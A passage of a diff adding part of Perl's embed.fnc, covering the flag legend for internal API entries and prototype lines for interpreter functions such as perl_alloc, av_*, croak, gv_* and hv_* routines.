+: don't define PERL_ARGS_ASSERT_FOO
+:
+: D Function is deprecated:
+:
+: proto.h: add __attribute__deprecated__
+:
+: d Function has documentation (somewhere) in the source:
+:
+: enables 'no docs for foo" warning in autodoc.pl
+:
+: E Visible to extensions included in the Perl core:
+:
+: in embed.h, change "#ifdef PERL_CORE"
+: into "#if defined(PERL_CORE) || defined(PERL_EXT)"
+:
+: To be usable from dynamically loaded extensions, either:
+: 1) must be static to its containing file ("i" or "s" flag); or
+: 2) be combined with the "X" flag.
+:
+: f Function takes a format string. If the function name /strftime/
+: then its assumed to take a strftime-style format string as 1st arg;
+: otherwise it's assumed to be a printf style format string, varargs
+: (hence any entry that would otherwise go in embed.h is suppressed):
+:
+: proto.h: add __attribute__format__ (or ...null_ok__)
+:
+: i Static inline: function in source code has a S_ prefix:
+:
+: proto.h: function is declared as S_foo rather than foo,
+: PERL_STATIC_INLINE is added to declaration;
+: embed.h: "#define foo S_foo" entries added
+:
+: M May change:
+:
+: any doc entry is marked that function may change. Also used to
+: suppress making a doc entry if it would just be a placeholder.
+:
+: m Implemented as a macro:
+:
+: suppress proto.h entry (actually, not suppressed, but commented out)
+: suppress entry in the list of exported symbols
+: suppress embed.h entry
+:
+: n Has no implicit interpreter/thread context argument:
+:
+: suppress the pTHX part of "foo(pTHX...)" in proto.h;
+: In the PERL_IMPLICIT_SYS branch of embed.h, generates
+: "#define foo Perl_foo", rather than
+: "#define foo(a,b,c) Perl_foo(aTHX_ a,b,c)
+:
+: O Has a perl_ compatibility macro.
+:
+: The really OLD name for API funcs
+:
+: o Has no Perl_foo or S_foo compatibility macro:
+:
+: embed.h: suppress "#define foo Perl_foo"
+:
+: P Pure function: no effects except the return value;
+: return value depends only on params and/or globals:
+:
+: proto.h: add __attribute__pure__
+:
+: p Function in source code has a Perl_ prefix:
+:
+: proto.h: function is declared as Perl_foo rather than foo
+: embed.h: "#define foo Perl_foo" entries added
+:
+: R Return value must not be ignored (also implied by 'a' flag):
+:
+: proto.h: add __attribute__warn_unused_result__
+:
+: r Function never returns:
+:
+: proto.h: add __attribute__noreturn__
+:
+: s Static function: function in source code has a S_ prefix:
+:
+: proto.h: function is declared as S_foo rather than foo,
+: STATIC is added to declaration;
+: embed.h: "#define foo S_foo" entries added
+:
+: U Suppress usage example in autogenerated documentation
+:
+: (currently no effect)
+:
+: X Explicitly exported:
+:
+: add entry to the list of exported symbols, unless x or m
+:
+: This is often used for private functions that are used by public
+: macros. In those cases the macros must use the long form of the
+: name (Perl_blah(aTHX_ ...)).
+:
+: x Not exported
+:
+: suppress entry in the list of exported symbols
+:
+: (see also L<perlguts/Internal Functions> for those flags.)
+:
+: Pointer parameters that must not be passed NULLs should be prefixed with NN.
+:
+: Pointer parameters that may be NULL should be prefixed with NULLOK. This has
+: no effect on output yet. It's a notation for the maintainers to know "I have
+: defined whether NULL is OK or not" rather than having neither NULL or NULLOK,
+: which is ambiguous.
+:
+: Individual flags may be separated by whitespace.
+
+#if defined(PERL_IMPLICIT_SYS)
+Ano |PerlInterpreter*|perl_alloc_using \
+ |NN struct IPerlMem *ipM \
+ |NN struct IPerlMem *ipMS \
+ |NN struct IPerlMem *ipMP \
+ |NN struct IPerlEnv *ipE \
+ |NN struct IPerlStdIO *ipStd \
+ |NN struct IPerlLIO *ipLIO \
+ |NN struct IPerlDir *ipD \
+ |NN struct IPerlSock *ipS \
+ |NN struct IPerlProc *ipP
+#endif
+Anod |PerlInterpreter* |perl_alloc
+Anod |void |perl_construct |NN PerlInterpreter *my_perl
+Anod |int |perl_destruct |NN PerlInterpreter *my_perl
+Anod |void |perl_free |NN PerlInterpreter *my_perl
+Anod |int |perl_run |NN PerlInterpreter *my_perl
+Anod |int |perl_parse |NN PerlInterpreter *my_perl|XSINIT_t xsinit \
+ |int argc|NULLOK char** argv|NULLOK char** env
+AnpR |bool |doing_taint |int argc|NULLOK char** argv|NULLOK char** env
+#if defined(USE_ITHREADS)
+Anod |PerlInterpreter*|perl_clone|NN PerlInterpreter *proto_perl|UV flags
+# if defined(PERL_IMPLICIT_SYS)
+Ano |PerlInterpreter*|perl_clone_using \
+ |NN PerlInterpreter *proto_perl \
+ |UV flags \
+ |NN struct IPerlMem* ipM \
+ |NN struct IPerlMem* ipMS \
+ |NN struct IPerlMem* ipMP \
+ |NN struct IPerlEnv* ipE \
+ |NN struct IPerlStdIO* ipStd \
+ |NN struct IPerlLIO* ipLIO \
+ |NN struct IPerlDir* ipD \
+ |NN struct IPerlSock* ipS \
+ |NN struct IPerlProc* ipP
+# endif
+#endif
+
+Aanop |Malloc_t|malloc |MEM_SIZE nbytes
+Aanop |Malloc_t|calloc |MEM_SIZE elements|MEM_SIZE size
+Aanop |Malloc_t|realloc |Malloc_t where|MEM_SIZE nbytes
+Anop |Free_t |mfree |Malloc_t where
+#if defined(MYMALLOC)
+npR |MEM_SIZE|malloced_size |NN void *p
+npR |MEM_SIZE|malloc_good_size |size_t nbytes
+#endif
+#if defined(PERL_IN_MALLOC_C)
+sn |int |adjust_size_and_find_bucket |NN size_t *nbytes_p
+#endif
+
+AnpR |void* |get_context
+Anp |void |set_context |NN void *t
+
+XEop |bool |try_amagic_bin |int method|int flags
+XEop |bool |try_amagic_un |int method|int flags
+Ap |SV* |amagic_call |NN SV* left|NN SV* right|int method|int dir
+Ap |SV * |amagic_deref_call|NN SV *ref|int method
+p |bool |amagic_is_enabled|int method
+Ap |int |Gv_AMupdate |NN HV* stash|bool destructing
+ApR |CV* |gv_handler |NULLOK HV* stash|I32 id
+Apd |OP* |op_append_elem |I32 optype|NULLOK OP* first|NULLOK OP* last
+Apd |OP* |op_append_list |I32 optype|NULLOK OP* first|NULLOK OP* last
+Apd |OP* |op_linklist |NN OP *o
+Apd |OP* |op_prepend_elem|I32 optype|NULLOK OP* first|NULLOK OP* last
+: FIXME - this is only called by pp_chown. They should be merged.
+p |I32 |apply |I32 type|NN SV** mark|NN SV** sp
+ApM |void |apply_attrs_string|NN const char *stashpv|NN CV *cv|NN const char *attrstr|STRLEN len
+Apd |void |av_clear |NN AV *av
+Apd |SV* |av_delete |NN AV *av|SSize_t key|I32 flags
+ApdR |bool |av_exists |NN AV *av|SSize_t key
+Apd |void |av_extend |NN AV *av|SSize_t key
+p |void |av_extend_guts |NULLOK AV *av|SSize_t key \
+ |NN SSize_t *maxp \
+ |NN SV ***allocp|NN SV ***arrayp
+ApdR |SV** |av_fetch |NN AV *av|SSize_t key|I32 lval
+Apd |void |av_fill |NN AV *av|SSize_t fill
+ApdR |SSize_t|av_len |NN AV *av
+ApdR |AV* |av_make |SSize_t size|NN SV **strp
+Apd |SV* |av_pop |NN AV *av
+ApdoxM |void |av_create_and_push|NN AV **const avp|NN SV *const val
+Apd |void |av_push |NN AV *av|NN SV *val
+: Used in scope.c, and by Data::Alias
+EXp |void |av_reify |NN AV *av
+ApdR |SV* |av_shift |NN AV *av
+Apd |SV** |av_store |NN AV *av|SSize_t key|NULLOK SV *val
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AidR |SSize_t|av_top_index |NN AV *av
+#endif
+AmpdR |SSize_t|av_tindex |NN AV *av
+Apd |void |av_undef |NN AV *av
+ApdoxM |SV** |av_create_and_unshift_one|NN AV **const avp|NN SV *const val
+Apd |void |av_unshift |NN AV *av|SSize_t num
+Apo |SV** |av_arylen_p |NN AV *av
+Apo |IV* |av_iter_p |NN AV *av
+#if defined(PERL_IN_AV_C)
+s |MAGIC* |get_aux_mg |NN AV *av
+#endif
+: Used in perly.y
+pR |OP* |bind_match |I32 type|NN OP *left|NN OP *right
+: Used in perly.y
+ApdR |OP* |block_end |I32 floor|NULLOK OP* seq
+ApR |U8 |block_gimme
+: Used in perly.y
+ApdR |int |block_start |int full
+Aodp |void |blockhook_register |NN BHK *hk
+: Used in perl.c
+p |void |boot_core_UNIVERSAL
+: Used in perl.c
+p |void |boot_core_PerlIO
+Ap |void |call_list |I32 oldscope|NN AV *paramList
+Apd |const PERL_CONTEXT * |caller_cx|I32 level \
+ |NULLOK const PERL_CONTEXT **dbcxp
+: Used in several source files
+pR |bool |cando |Mode_t mode|bool effective|NN const Stat_t* statbufp
+ApRn |U32 |cast_ulong |NV f
+ApRn |I32 |cast_i32 |NV f
+ApRn |IV |cast_iv |NV f
+ApRn |UV |cast_uv |NV f
+#if !defined(HAS_TRUNCATE) && !defined(HAS_CHSIZE) && defined(F_FREESP)
+ApR |I32 |my_chsize |int fd|Off_t length
+#endif
+p |const COP*|closest_cop |NN const COP *cop|NULLOK const OP *o \
+ |NULLOK const OP *curop|bool opnext
+: Used in perly.y
+ApdR |OP* |op_convert_list |I32 optype|I32 flags|NULLOK OP* o
+: Used in op.c and perl.c
+pM |void |create_eval_scope|NULLOK OP *retop|U32 flags
+Aprd |void |croak_sv |NN SV *baseex
+: croak()'s first parm can be NULL. Otherwise, mod_perl breaks.
+Afprd |void |croak |NULLOK const char* pat|...
+Aprd |void |vcroak |NULLOK const char* pat|NULLOK va_list* args
+Anprd |void |croak_no_modify
+Anprd |void |croak_xs_usage |NN const CV *const cv \
+ |NN const char *const params
+npr |void |croak_no_mem
+nprX |void |croak_popstack
+fnprx |void |noperl_die|NN const char* pat|...
+#if defined(WIN32)
+norx |void |win32_croak_not_implemented|NN const char * fname
+#endif
+#if defined(PERL_IMPLICIT_CONTEXT)
+Afnrp |void |croak_nocontext|NULLOK const char* pat|...
+Afnrp |OP* |die_nocontext |NULLOK const char* pat|...
+Afnp |void |deb_nocontext |NN const char* pat|...
+Afnp |char* |form_nocontext |NN const char* pat|...
+Anp |void |load_module_nocontext|U32 flags|NN SV* name|NULLOK SV* ver|...
+Afnp |SV* |mess_nocontext |NN const char* pat|...
+Afnp |void |warn_nocontext |NN const char* pat|...
+Afnp |void |warner_nocontext|U32 err|NN const char* pat|...
+Afnp |SV* |newSVpvf_nocontext|NN const char *const pat|...
+Afnp |void |sv_catpvf_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp |void |sv_setpvf_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp |void |sv_catpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp |void |sv_setpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp |int |fprintf_nocontext|NN PerlIO *stream|NN const char *format|...
+Afnp |int |printf_nocontext|NN const char *format|...
+#endif
+: Used in pp.c
+p |SV * |core_prototype |NULLOK SV *sv|NN const char *name \
+ |const int code|NULLOK int * const opnum
+: Used in gv.c
+p |OP * |coresub_op |NN SV *const coreargssv|const int code \
+ |const int opnum
+: Used in sv.c
+EMXp |void |cv_ckproto_len_flags |NN const CV* cv|NULLOK const GV* gv\
+ |NULLOK const char* p|const STRLEN len \
+ |const U32 flags
+: Used in pp.c and pp_sys.c
+ApdR |SV* |gv_const_sv |NN GV* gv
+ApdRn |SV* |cv_const_sv |NULLOK const CV *const cv
+pRn |SV* |cv_const_sv_or_av|NULLOK const CV *const cv
+Apd |SV * |cv_name |NN CV *cv|NULLOK SV *sv|U32 flags
+Apd |void |cv_undef |NN CV* cv
+p |void |cv_undef_flags |NN CV* cv|U32 flags
+p |void |cv_forget_slab |NULLOK CV *cv
+Ap |void |cx_dump |NN PERL_CONTEXT* cx
+Ap |SV* |filter_add |NULLOK filter_t funcp|NULLOK SV* datasv
+Ap |void |filter_del |NN filter_t funcp
+ApR |I32 |filter_read |int idx|NN SV *buf_sv|int maxlen
+ApPR |char** |get_op_descs
+ApPR |char** |get_op_names
+: FIXME discussion on p5p
+pPR |const char* |get_no_modify
+: FIXME discussion on p5p
+pPR |U32* |get_opargs
+ApPR |PPADDR_t*|get_ppaddr
+: Used by CXINC, which appears to be in widespread use
+ApR |I32 |cxinc
+Afp |void |deb |NN const char* pat|...
+Ap |void |vdeb |NN const char* pat|NULLOK va_list* args
+Ap |void |debprofdump
+EXp |SV* |multideref_stringify |NN const OP* o|NULLOK CV *cv
+Ap |I32 |debop |NN const OP* o
+Ap |I32 |debstack
+Ap |I32 |debstackptrs
+pR |SV * |defelem_target |NN SV *sv|NULLOK MAGIC *mg
+Anp |char* |delimcpy |NN char* to|NN const char* toend|NN const char* from \
+ |NN const char* fromend|int delim|NN I32* retlen
+: Used in op.c, perl.c
+pM |void |delete_eval_scope
+Aprd |OP* |die_sv |NN SV *baseex
+Afrpd |OP* |die |NULLOK const char* pat|...
+: Used in util.c
+pr |void |die_unwind |NN SV* msv
+Ap |void |dounwind |I32 cxix
+: FIXME
+pmb |bool|do_aexec |NULLOK SV* really|NN SV** mark|NN SV** sp
+: Used in pp_sys.c
+p |bool|do_aexec5 |NULLOK SV* really|NN SV** mark|NN SV** sp|int fd|int do_report
+Ap |int |do_binmode |NN PerlIO *fp|int iotype|int mode
+: Used in pp.c
+Ap |bool |do_close |NULLOK GV* gv|bool not_implicit
+: Defined in doio.c, used only in pp_sys.c
+p |bool |do_eof |NN GV* gv
+
+#ifdef PERL_DEFAULT_DO_EXEC3_IMPLEMENTATION
+pm |bool|do_exec |NN const char* cmd
+#else
+p |bool|do_exec |NN const char* cmd
+#endif
+
+#if defined(WIN32) || defined(__SYMBIAN32__) || defined(VMS)
+Ap |int |do_aspawn |NULLOK SV* really|NN SV** mark|NN SV** sp
+Ap |int |do_spawn |NN char* cmd
+Ap |int |do_spawn_nowait|NN char* cmd
+#endif
+#if !defined(WIN32)
+p |bool|do_exec3 |NN const char *incmd|int fd|int do_report
+#endif
+p |void |do_execfree
+#if defined(PERL_IN_DOIO_C)
+s |void |exec_failed |NN const char *cmd|int fd|int do_report
+#endif
+#if defined(HAS_MSG) || defined(HAS_SEM) || defined(HAS_SHM)
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_ipcctl |I32 optype|NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_ipcget |I32 optype|NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_msgrcv |NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_msgsnd |NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_semop |NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_shmio |I32 optype|NN SV** mark|NN SV** sp
+#endif
+Ap |void |do_join |NN SV *sv|NN SV *delim|NN SV **mark|NN SV **sp
+: Used in pp.c and pp_hot.c, prototype generated by regen/opcode.pl
+: p |OP* |do_kv
+: used in pp.c, pp_hot.c
+pR |I32 |do_ncmp |NN SV *const left|NN SV *const right
+Apmb |bool |do_open |NN GV* gv|NN const char* name|I32 len|int as_raw \
+ |int rawmode|int rawperm|NULLOK PerlIO* supplied_fp
+Ap |bool |do_open9 |NN GV *gv|NN const char *name|I32 len|int as_raw \
+ |int rawmode|int rawperm|NULLOK PerlIO *supplied_fp \
+ |NN SV *svs|I32 num
+#if defined(PERL_IN_DOIO_C)
+s |IO * |openn_setup |NN GV *gv|NN char *mode|NN PerlIO **saveifp \
+ |NN PerlIO **saveofp|NN int *savefd \
+ |NN char *savetype
+s |bool |openn_cleanup |NN GV *gv|NN IO *io|NULLOK PerlIO *fp \
+ |NN char *mode|NN const char *oname \
+ |NULLOK PerlIO *saveifp|NULLOK PerlIO *saveofp \
+ |int savefd|char savetype|int writing \
+ |bool was_fdopen|NULLOK const char *type
+#endif
+Ap |bool |do_openn |NN GV *gv|NN const char *oname|I32 len \
+ |int as_raw|int rawmode|int rawperm \
+ |NULLOK PerlIO *supplied_fp|NULLOK SV **svp \
+ |I32 num
+Mp |bool |do_open_raw |NN GV *gv|NN const char *oname|STRLEN len \
+ |int rawmode|int rawperm
+Mp |bool |do_open6 |NN GV *gv|NN const char *oname|STRLEN len \
+ |NULLOK PerlIO *supplied_fp|NULLOK SV **svp \
+ |U32 num
+: Used in pp_hot.c and pp_sys.c
+p |bool |do_print |NULLOK SV* sv|NN PerlIO* fp
+: Used in pp_sys.c
+pR |OP* |do_readline
+: Defined in doio.c, used only in pp_sys.c
+p |bool |do_seek |NULLOK GV* gv|Off_t pos|int whence
+Ap |void |do_sprintf |NN SV* sv|I32 len|NN SV** sarg
+: Defined in doio.c, used only in pp_sys.c
+p |Off_t |do_sysseek |NN GV* gv|Off_t pos|int whence
+: Defined in doio.c, used only in pp_sys.c
+pR |Off_t |do_tell |NN GV* gv
+: Defined in doop.c, used only in pp.c
+p |I32 |do_trans |NN SV* sv
+: Used in my.c and pp.c
+p |UV |do_vecget |NN SV* sv|SSize_t offset|int size
+: Defined in doop.c, used only in mg.c (with /* XXX slurp this routine */)
+p |void |do_vecset |NN SV* sv
+: Defined in doop.c, used only in pp.c
+p |void |do_vop |I32 optype|NN SV* sv|NN SV* left|NN SV* right
+: Used in perly.y
+p |OP* |dofile |NN OP* term|I32 force_builtin
+ApR |U8 |dowantarray
+Ap |void |dump_all
+p |void |dump_all_perl |bool justperl
+Ap |void |dump_eval
+Ap |void |dump_form |NN const GV* gv
+Ap |void |gv_dump |NULLOK GV* gv
+Ap |void |op_dump |NN const OP *o
+Ap |void |pmop_dump |NULLOK PMOP* pm
+Ap |void |dump_packsubs |NN const HV* stash
+p |void |dump_packsubs_perl |NN const HV* stash|bool justperl
+Ap |void |dump_sub |NN const GV* gv
+p |void |dump_sub_perl |NN const GV* gv|bool justperl
+Apd |void |fbm_compile |NN SV* sv|U32 flags
+ApdR |char* |fbm_instr |NN unsigned char* big|NN unsigned char* bigend \
+ |NN SV* littlestr|U32 flags
+p |CV * |find_lexical_cv|PADOFFSET off
+pR |OP * |parse_subsignature
+: Defined in util.c, used only in perl.c
+p |char* |find_script |NN const char *scriptname|bool dosearch \
+ |NULLOK const char *const *const search_ext|I32 flags
+#if defined(PERL_IN_OP_C)
+s |OP* |force_list |NULLOK OP* arg|bool nullit
+i |OP* |op_integerize |NN OP *o
+i |OP* |op_std_init |NN OP *o
+#if defined(USE_ITHREADS)
+i |void |op_relocate_sv |NN SV** svp|NN PADOFFSET* targp
+#endif
+i |OP* |newMETHOP_internal |I32 type|I32 flags|NULLOK OP* dynamic_meth \
+ |NULLOK SV* const_meth
+: FIXME
+s |OP* |fold_constants |NN OP *o
+#endif
+Afpd |char* |form |NN const char* pat|...
+Ap |char* |vform |NN const char* pat|NULLOK va_list* args
+Ap |void |free_tmps
+#if defined(PERL_IN_OP_C)
+s |OP* |gen_constant_list|NULLOK OP* o
+#endif
+#if !defined(HAS_GETENV_LEN)
+: Used in hv.c
+p |char* |getenv_len |NN const char *env_elem|NN unsigned long *len
+#endif
+: Used in pp_ctl.c and pp_hot.c
+pox |void |get_db_sub |NULLOK SV **svp|NN CV *cv
+Ap |void |gp_free |NULLOK GV* gv
+Ap |GP* |gp_ref |NULLOK GP* gp
+Ap |GV* |gv_add_by_type |NULLOK GV *gv|svtype type
+Apmb |GV* |gv_AVadd |NULLOK GV *gv
+Apmb |GV* |gv_HVadd |NULLOK GV *gv
+Apmb |GV* |gv_IOadd |NULLOK GV* gv
+AmR |GV* |gv_autoload4 |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|I32 method
+ApR |GV* |gv_autoload_sv |NULLOK HV* stash|NN SV* namesv|U32 flags
+ApR |GV* |gv_autoload_pv |NULLOK HV* stash|NN const char* namepv \
+ |U32 flags
+ApR |GV* |gv_autoload_pvn |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|U32 flags
+Ap |void |gv_check |NN HV* stash
+Ap |void |gv_efullname |NN SV* sv|NN const GV* gv
+Apmb |void |gv_efullname3 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix
+Ap |void |gv_efullname4 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain
+Ap |GV* |gv_fetchfile |NN const char* name
+Ap |GV* |gv_fetchfile_flags|NN const char *const name|const STRLEN len\
+ |const U32 flags
+Amd |GV* |gv_fetchmeth |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|I32 level
+Apd |GV* |gv_fetchmeth_sv |NULLOK HV* stash|NN SV* namesv|I32 level|U32 flags
+Apd |GV* |gv_fetchmeth_pv |NULLOK HV* stash|NN const char* name \
+ |I32 level|U32 flags
+Apd |GV* |gv_fetchmeth_pvn |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|I32 level|U32 flags
+Amd |GV* |gv_fetchmeth_autoload |NULLOK HV* stash \
+ |NN const char* name|STRLEN len \
+ |I32 level
+Apd |GV* |gv_fetchmeth_sv_autoload |NULLOK HV* stash|NN SV* namesv|I32 level|U32 flags
+Apd |GV* |gv_fetchmeth_pv_autoload |NULLOK HV* stash|NN const char* name \
+ |I32 level|U32 flags
+Apd |GV* |gv_fetchmeth_pvn_autoload |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|I32 level|U32 flags
+Apdmb |GV* |gv_fetchmethod |NN HV* stash|NN const char* name
+Apd |GV* |gv_fetchmethod_autoload|NN HV* stash|NN const char* name \
+ |I32 autoload
+ApM |GV* |gv_fetchmethod_sv_flags|NN HV* stash|NN SV* namesv|U32 flags
+ApM |GV* |gv_fetchmethod_pv_flags|NN HV* stash|NN const char* name \
+ |U32 flags
+ApM |GV* |gv_fetchmethod_pvn_flags|NN HV* stash|NN const char* name \
+ |const STRLEN len|U32 flags
+Ap |GV* |gv_fetchpv |NN const char *nambeg|I32 add|const svtype sv_type
+Ap |void |gv_fullname |NN SV* sv|NN const GV* gv
+Apmb |void |gv_fullname3 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix
+Ap |void |gv_fullname4 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain
+: Used in scope.c
+pMox |GP * |newGP |NN GV *const gv
+pX |void |cvgv_set |NN CV* cv|NULLOK GV* gv
+poX |GV * |cvgv_from_hek |NN CV* cv
+pX |void |cvstash_set |NN CV* cv|NULLOK HV* stash
+Amd |void |gv_init |NN GV* gv|NULLOK HV* stash \
+ |NN const char* name|STRLEN len|int multi
+Ap |void |gv_init_sv |NN GV* gv|NULLOK HV* stash|NN SV* namesv|U32 flags
+Ap |void |gv_init_pv |NN GV* gv|NULLOK HV* stash|NN const char* name \
+ |U32 flags
+Ap |void |gv_init_pvn |NN GV* gv|NULLOK HV* stash|NN const char* name \
+ |STRLEN len|U32 flags
+Ap |void |gv_name_set |NN GV* gv|NN const char *name|U32 len|U32 flags
+px |GV * |gv_override |NN const char * const name \
+ |const STRLEN len
+XMpd |void |gv_try_downgrade|NN GV* gv
+p |void |gv_setref |NN SV *const dstr|NN SV *const sstr
+Apd |HV* |gv_stashpv |NN const char* name|I32 flags
+Apd |HV* |gv_stashpvn |NN const char* name|U32 namelen|I32 flags
+#if defined(PERL_IN_GV_C)
+i |HV* |gv_stashpvn_internal |NN const char* name|U32 namelen|I32 flags
+i |HV* |gv_stashsvpvn_cached |NULLOK SV *namesv|NULLOK const char* name|U32 namelen|I32 flags
+i |GV* |gv_fetchmeth_internal |NULLOK HV* stash|NULLOK SV* meth|NULLOK const char* name \
+ |STRLEN len|I32 level|U32 flags
+#endif
+Apd |HV* |gv_stashsv |NN SV* sv|I32 flags
+Apd |void |hv_clear |NULLOK HV *hv
+: used in SAVEHINTS() and op.c
+ApdR |HV * |hv_copy_hints_hv|NULLOK HV *const ohv
+Ap |void |hv_delayfree_ent|NN HV *hv|NULLOK HE *entry
+Abmd |SV* |hv_delete |NULLOK HV *hv|NN const char *key|I32 klen \
+ |I32 flags
+Abmd |SV* |hv_delete_ent |NULLOK HV *hv|NN SV *keysv|I32 flags|U32 hash
+AbmdR |bool |hv_exists |NULLOK HV *hv|NN const char *key|I32 klen
+AbmdR |bool |hv_exists_ent |NULLOK HV *hv|NN SV *keysv|U32 hash
+Abmd |SV** |hv_fetch |NULLOK HV *hv|NN const char *key|I32 klen \
+ |I32 lval
+Abmd |HE* |hv_fetch_ent |NULLOK HV *hv|NN SV *keysv|I32 lval|U32 hash
+Ap |void* |hv_common |NULLOK HV *hv|NULLOK SV *keysv \
+ |NULLOK const char* key|STRLEN klen|int flags \
+ |int action|NULLOK SV *val|U32 hash
+Ap |void* |hv_common_key_len|NULLOK HV *hv|NN const char *key \
+ |I32 klen_i32|const int action|NULLOK SV *val \
+ |const U32 hash
+Apod |STRLEN |hv_fill |NN HV *const hv
+Ap |void |hv_free_ent |NN HV *hv|NULLOK HE *entry
+Apd |I32 |hv_iterinit |NN HV *hv
+ApdR |char* |hv_iterkey |NN HE* entry|NN I32* retlen
+ApdR |SV* |hv_iterkeysv |NN HE* entry
+ApdRbm |HE* |hv_iternext |NN HV *hv
+ApdR |SV* |hv_iternextsv |NN HV *hv|NN char **key|NN I32 *retlen
+ApMdR |HE* |hv_iternext_flags|NN HV *hv|I32 flags
+ApdR |SV* |hv_iterval |NN HV *hv|NN HE *entry
+Ap |void |hv_ksplit |NN HV *hv|IV newmax
+Apdbm |void |hv_magic |NN HV *hv|NULLOK GV *gv|int how
+#if defined(PERL_IN_HV_C)
+s |SV * |refcounted_he_value |NN const struct refcounted_he *he
+#endif
+Xpd |HV * |refcounted_he_chain_2hv|NULLOK const struct refcounted_he *c|U32 flags
+Xpd |SV * |refcounted_he_fetch_pvn|NULLOK const struct refcounted_he *chain \
+ |NN const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Xpd |SV * |refcounted_he_fetch_pv|NULLOK const struct refcounted_he *chain \
+ |NN const char *key|U32 hash|U32 flags
+Xpd |SV * |refcounted_he_fetch_sv|NULLOK const struct refcounted_he *chain \
+ |NN SV *key|U32 hash|U32 flags
+Xpd |struct refcounted_he *|refcounted_he_new_pvn \
+ |NULLOK struct refcounted_he *parent \
+ |NN const char *keypv|STRLEN keylen \
+ |U32 hash|NULLOK SV *value|U32 flags
+Xpd |struct refcounted_he *|refcounted_he_new_pv \
+ |NULLOK struct refcounted_he *parent \
+ |NN const char *key \
+ |U32 hash|NULLOK SV *value|U32 flags
+Xpd |struct refcounted_he *|refcounted_he_new_sv \
+ |NULLOK struct refcounted_he *parent \
+ |NN SV *key \
+ |U32 hash|NULLOK SV *value|U32 flags
+Xpd |void |refcounted_he_free|NULLOK struct refcounted_he *he
+Xpd |struct refcounted_he *|refcounted_he_inc|NULLOK struct refcounted_he *he
+Abmd |SV** |hv_store |NULLOK HV *hv|NULLOK const char *key \
+ |I32 klen|NULLOK SV *val|U32 hash
+Abmd |HE* |hv_store_ent |NULLOK HV *hv|NULLOK SV *key|NULLOK SV *val\
+ |U32 hash
+AbmM |SV** |hv_store_flags |NULLOK HV *hv|NULLOK const char *key \
+ |I32 klen|NULLOK SV *val|U32 hash|int flags
+Amd |void |hv_undef |NULLOK HV *hv
+poX |void |hv_undef_flags |NULLOK HV *hv|U32 flags
+Am |I32 |ibcmp |NN const char* a|NN const char* b|I32 len
+AnpP |I32 |foldEQ |NN const char* a|NN const char* b|I32 len
+Am |I32 |ibcmp_locale |NN const char* a|NN const char* b|I32 len
+AnpP |I32 |foldEQ_locale |NN const char* a|NN const char* b|I32 len
+Am |I32 |ibcmp_utf8 |NN const char *s1|NULLOK char **pe1|UV l1 \
+ |bool u1|NN const char *s2|NULLOK char **pe2 \
+ |UV l2|bool u2
+Amd |I32 |foldEQ_utf8 |NN const char *s1|NULLOK char **pe1|UV l1 \
+ |bool u1|NN const char *s2|NULLOK char **pe2 \
+ |UV l2|bool u2
+AMp |I32 |foldEQ_utf8_flags |NN const char *s1|NULLOK char **pe1|UV l1 \
+ |bool u1|NN const char *s2|NULLOK char **pe2 \
+ |UV l2|bool u2|U32 flags
+AnpP |I32 |foldEQ_latin1 |NN const char* a|NN const char* b|I32 len
+#if defined(PERL_IN_DOIO_C)
+sR |bool |ingroup |Gid_t testgid|bool effective
+#endif
+: Used in toke.c
+p |void |init_argv_symbols|int argc|NN char **argv
+: Used in pp_ctl.c
+po |void |init_dbargs
+: Used in mg.c
+p |void |init_debugger
+Ap |void |init_stacks
+Ap |void |init_tm |NN struct tm *ptm
+: Used in perly.y
+AnpPR |char* |instr |NN const char* big|NN const char* little
+: Used in sv.c
+p |bool |io_close |NN IO* io|NULLOK GV *gv \
+ |bool not_implicit|bool warn_on_fail
+: Used in perly.y
+pR |OP* |invert |NULLOK OP* cmd
+ApR |I32 |is_lvalue_sub
+: Used in cop.h
+XopR |I32 |was_lvalue_sub
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AiMRn |STRLEN |_is_utf8_char_slow|NN const U8 *s|NN const U8 *e
+#endif
+ADMpPR |U32 |to_uni_upper_lc|U32 c
+ADMpPR |U32 |to_uni_title_lc|U32 c
+ADMpPR |U32 |to_uni_lower_lc|U32 c
+ADMpPR |bool |is_uni_alnum |UV c
+ADMpPR |bool |is_uni_alnumc |UV c
+ADMpPR |bool |is_uni_idfirst |UV c
+ADMpPR |bool |is_uni_alpha |UV c
+ADMpPR |bool |is_uni_ascii |UV c
+ADMpPR |bool |is_uni_blank |UV c
+ADMpPR |bool |is_uni_space |UV c
+ADMpPR |bool |is_uni_cntrl |UV c
+ADMpPR |bool |is_uni_graph |UV c
+ADMpPR |bool |is_uni_digit |UV c
+ADMpPR |bool |is_uni_upper |UV c
+ADMpPR |bool |is_uni_lower |UV c
+ADMpPR |bool |is_uni_print |UV c
+ADMpPR |bool |is_uni_punct |UV c
+ADMpPR |bool |is_uni_xdigit |UV c
+AMp |UV |to_uni_upper |UV c|NN U8 *p|NN STRLEN *lenp
+AMp |UV |to_uni_title |UV c|NN U8 *p|NN STRLEN *lenp
+ADMpPR |bool |isIDFIRST_lazy |NN const char* p
+ADMpPR |bool |isALNUM_lazy |NN const char* p
+#ifdef PERL_IN_UTF8_C
+snR |U8 |to_lower_latin1|const U8 c|NULLOK U8 *p|NULLOK STRLEN *lenp
+#endif
